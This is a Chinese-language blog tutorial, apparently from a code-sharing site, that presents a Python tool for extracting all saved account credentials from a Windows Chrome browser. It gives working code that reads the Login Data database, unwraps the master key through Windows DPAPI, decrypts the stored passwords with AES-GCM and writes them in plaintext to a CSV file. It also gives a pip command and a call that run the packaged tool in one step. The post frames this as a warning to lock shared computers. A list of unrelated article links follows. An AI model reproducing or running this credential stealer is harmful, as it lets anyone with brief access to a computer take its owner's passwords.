Python 一键获取电脑浏览器的账号密码


Posted in Python onMay 11, 2022

导语

发现很多人在学校图书馆喜欢用电脑占座(以古度今,我好像好多年没去过学校图书馆了),而且出去的时候经常不锁屏,为了让大家养成良好的习惯,我来带大家写个小程序吧,无需输入任何密码就可以快速获取你存储在电脑浏览器中的所有账号和密码,算是通过实践出真知来给大家提个醒了~

废话不多说,让我们愉快地开始吧~

相关文件

Github地址

开发工具

Python版本:3.7.8

相关模块:

pikachupytools模块;

pycryptodome模块;

以及一些python自带的模块。

环境搭建

安装Python并添加到环境变量,pip安装需要的相关模块即可。

原理简介

众所周知,我们的浏览器里一般存储了很多我们访问过的网站的账号和密码:

Python 一键获取电脑浏览器的账号密码

一般情况下,查看这些密码是需要输入电脑的开机密码的。但是事实上,我们也可以通过其他方式直接查看这些账号密码。例如谷歌浏览器里保存账号密码的数据库文件默认路径为:

os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Default\Login Data'

我们可以通过读取该文件获得对应的账号密码:

'''读取数据库数据'''
def readdb(self, dbpath, master_key):
    sql = 'SELECT origin_url, username_value, password_value, date_created, date_last_used FROM logins;'
    client = sqlite3.connect(dbpath)
    cursor = client.cursor()
    with open(self.savename, 'a', newline='', encoding='utf-8-sig') as csv_file:
        cursor.execute(sql)
        csv_writer = csv.writer(csv_file, dialect=('excel'))
        if not self.write_heads_flag:
            csv_writer.writerow(self.csv_heads)
            self.write_heads_flag = True
        info = []
        for row in cursor.fetchall():
            for idx in range(len(self.csv_heads)):
                if isinstance(row[idx], bytes):
                    info.append(self.decrypt(row[idx], master_key))
                else:
                    info.append(row[idx])
            csv_writer.writerow(info)
            info = []
    cursor.close()
    client.close()

其中密码是加密之后的结果,打印出来大概是这样子的:

Python 一键获取电脑浏览器的账号密码

但是解密其实也很简单,通过网上的资料可以知道,我们只需要获得key值:

'''获得master key'''
def getmasterkey(self, local_state_path):
    import win32crypt
    with open(os.environ['USERPROFILE'] + os.sep + local_state_path, 'r', encoding='utf-8') as fp:
        local_state = fp.read()
        local_state = json.loads(local_state)
    master_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
    master_key = master_key[5:]
    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
    return master_key

然后根据key值进行解码就行了:

'''解码'''
def decrypt(self, value, master_key):
    print(value)
    if value[:3] == b'v10':
        from Crypto.Cipher import AES
        iv, payload = value[3:15], value[15:]
        cipher = AES.new(master_key, AES.MODE_GCM, iv)
        decrypted_value = cipher.decrypt(payload)
        decrypted_value = decrypted_value[:-16].decode()
    else:
        import win32crypt
        decrypted_value = win32crypt.CryptUnprotectData(value)[1].decode()
    return decrypted_value

解码之后的运行效果结果如下:

Python 一键获取电脑浏览器的账号密码

获得的结果默认保存在results.csv中,截图如下:

Python 一键获取电脑浏览器的账号密码

ok,大功告成啦,完整源代码详见相关文件。

想要快速测试的小伙伴只需要pip安装一下pikachupytools包:

pip install pikachupytools --upgrade

然后简单写几行代码就能调用运行了:

from pytools import pytools

tool_client = pytools.pytools()
tool_client.execute('decryptbrowser')

到此这篇关于基于Python实现一键获取电脑浏览器的账号密码的文章就介绍到这了!

Python 相关文章推荐
python+mysql实现简单的web程序
Sep 11 Python
Python中利用函数装饰器实现备忘功能
Mar 30 Python
Python实现将DOC文档转换为PDF的方法
Jul 25 Python
window下eclipse安装python插件教程
Apr 24 Python
Python实现破解12306图片验证码的方法分析
Dec 29 Python
Python OpenCV处理图像之图像直方图和反向投影
Jul 10 Python
详解将Django部署到Centos7全攻略
Sep 26 Python
python [:3] 实现提取数组中的数
Nov 27 Python
python 解决tqdm模块不能单行显示的问题
Feb 19 Python
Python数据相关系数矩阵和热力图轻松实现教程
Jun 16 Python
浅谈keras中Dropout在预测过程中是否仍要起作用
Jul 09 Python
使用pd.merge表连接出现多余行的问题解决
Jun 16 Python
图神经网络GNN算法
May 11 #Python
python神经网络ResNet50模型
May 06 #Python
python和anaconda的区别
May 06 #Python
python神经网络Xception模型
May 06 #Python
Python使用永中文档转换服务
May 06 #Python
Python tensorflow卷积神经Inception V3网络结构
May 06 #Python
Python实现Matplotlib,Seaborn动态数据图
May 06 #Python
You might like
php截取utf-8中文字符串乱码的解决方法
2010/03/29 PHP
PHP分页初探 一个最简单的PHP分页代码的简单实现
2016/06/21 PHP
2007/12/23更新创意无限,简单实用(javascript log)
2007/12/24 Javascript
javascript 简练的几个函数
2009/08/29 Javascript
页面版文本框智能提示JS代码
2009/11/20 Javascript
jQuery循环动画与获取组件尺寸的方法
2015/02/02 Javascript
js实现带圆角的多级下拉菜单效果
2015/08/28 Javascript
jQuery实用技巧必备(下)
2015/11/03 Javascript
JavaScript jQuery 中定义数组与操作及jquery数组操作
2015/12/18 Javascript
原生javascript实现addClass,removeClass,hasClass函数
2016/02/25 Javascript
JS随机洗牌算法之数组随机排序
2016/03/23 Javascript
JS中递归函数
2016/06/17 Javascript
原生JS实现轮播效果+学前端的感受(防止走火入魔)
2016/08/21 Javascript
JS简单去除数组中重复项的方法
2016/09/13 Javascript
jQuery Easyui datagrid行内实现【添加】、【编辑】、【上移】、【下移】
2016/12/19 Javascript
js从输入框读取内容,比较两个数字的大小方法
2017/03/13 Javascript
JavaScript实现获取远程的html到当前页面中
2017/03/26 Javascript
easyui简介_动力节点Java学院整理
2017/07/14 Javascript
EasyUI创建人员树的实例代码
2017/09/15 Javascript
微信公众平台 发送模板消息(Java接口开发)
2019/04/17 Javascript
详解Vuex下Store的模块化拆分实践
2019/07/31 Javascript
JavaScript判断数组类型的方法
2019/10/23 Javascript
JavaScript数值类型知识汇总
2019/11/17 Javascript
用Python写飞机大战游戏之pygame入门(4):获取鼠标的位置及运动
2015/11/05 Python
python 显示数组全部元素的方法
2018/04/19 Python
基于腾讯云服务器部署微信小程序后台服务(Python+Django)
2019/05/08 Python
兰蔻加拿大官方网站:Lancome加拿大
2016/08/05 全球购物
香港卓悦化妆品官网:BONJOUR
2017/09/21 全球购物
国际领先的在线时尚服装和配饰店:DressLily
2019/03/03 全球购物
马来西亚在线购物市场:PGMall.my
2019/10/13 全球购物
会计系毕业个人自荐信格式
2013/09/23 职场文书
铲车司机岗位职责
2014/03/15 职场文书
放飞梦想演讲稿800字
2014/08/26 职场文书
党的群众路线教育实践活动心得体会(教师)
2014/10/31 职场文书
2015年银行柜员工作总结报告
2015/04/01 职场文书
Python实现列表拼接和去重的三种方式
2021/07/02 Python